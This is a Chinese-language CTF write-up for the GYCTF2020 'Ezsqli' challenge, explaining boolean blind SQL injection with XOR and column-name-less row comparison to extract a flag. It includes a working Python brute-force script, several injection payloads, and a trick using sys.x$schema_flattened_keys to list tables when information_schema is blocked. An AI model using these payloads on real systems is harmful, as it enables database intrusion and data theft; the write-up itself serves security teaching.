[GYCTF2020]Ezsqli

  • 布尔盲注
  • 无列名注入

测试

  • id=1 ==>Nu1L
  • id=2 ==>V&N
  • id=2-1 ==>Nu1L

贴一下脚本

# coding:utf-8 
import requests
import time
url = 'http://14b858fa-e701-47da-a11a-304ef60eb42d.node3.buuoj.cn/'
def str_hex(s): #十六进制转换 fl ==> 0x666c
    res = ''
    for i in s:
        res += hex(ord(i)).replace('0x','')
    res = '0x' + res
    return res

res = ''
for i in range(1,200):
    print(i)
    left = 31
    right = 127
    mid = left + ((right - left)>>1)
    while left < right:
        #payload = '1^(ascii(substr(database(),{},1))>{})'.format(i,mid) #爆库
        #payload = '1^(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys),{},1))>{})'.format(i,mid) #爆表
        #payload = '1^(ascii(substr((select group_concat(flag) from f1ag_1s_h3r3_hhhhh),{},1))>{})'.format(i,mid) #猜测f1ag_1s_h3r3_hhhhh中的列名为flag
        key = (str_hex(res+chr(mid)))
        payload = "1 ^ ( (select 1,{}) > (select * from f1ag_1s_h3r3_hhhhh))".format(key)
        data = {
            'id':payload 
            }
        r = requests.post(url = url,  data = data)
        if r.status_code == 429:
            print('too fast')
            time.sleep(2)
        if 'Nu1L'  in r.text:
            left = mid + 1
        elif 'Nu1L' not in r.text:
            right = mid 
        mid = left + ((right-left)>>1)
    if mid == 31 or mid == 127:
        break
    #res += chr(mid) #爆表
    res += chr(mid-1) #爆flag
    print(str(mid),res)
#give_grandpa_pa_pa_pa
#news,users,f1ag_1s_h3r3_hhhhh,users233333333333333
#flag{8ebdb3ac-1d0e-47f3-82d5-ef5b4d20fe70}

因为or被过滤了,information_schema库用不了,使用sys.x$schema_flattened_keys来爆表名

flag的获取有两种方法

第一种:

    直接猜f1ag_1s_h3r3_hhhhh中的列名为flag

第二种:

    爆破

关键payload

1 ^ ( (select 1,1) > (select * from f1ag_1s_h3r3_hhhhh))

这里的1用来探测列数,通过删减1的个数来探测列的数量

 

1 ^ ( (select 1,'f') > (select * from f1ag_1s_h3r3_hhhhh))

原理:

  • 按位去比较,如果爆破字符与flag的第一个字符相等,就向后继续,大了小了都要继续当前的循环,直到找到合适的字符
  • 当小于等于f的时候,是1^0,回显Nu1L,当大于f,即g之类的字符时,是1^1,返回Error Occured When Fetch Result.
  • 所以最后的mid要减一才是正确的字符
  • 这里我们传入十六进制,mysql会自动将十六进制转为字符
  • mysql不区分大小写,比较的时候O(0x4f)的ascii比f(0x66)的ascii小,但是比较的结果是O比f大 

 

 参考

https://www.gem-love.com/ctf/1782.html

http://www.gr0wth.top/index.php/2020/03/31/gyctf2020ezsqli/

posted @ 2020-05-17 11:54  山野村夫z1  阅读(1924)  评论(0编辑  收藏  举报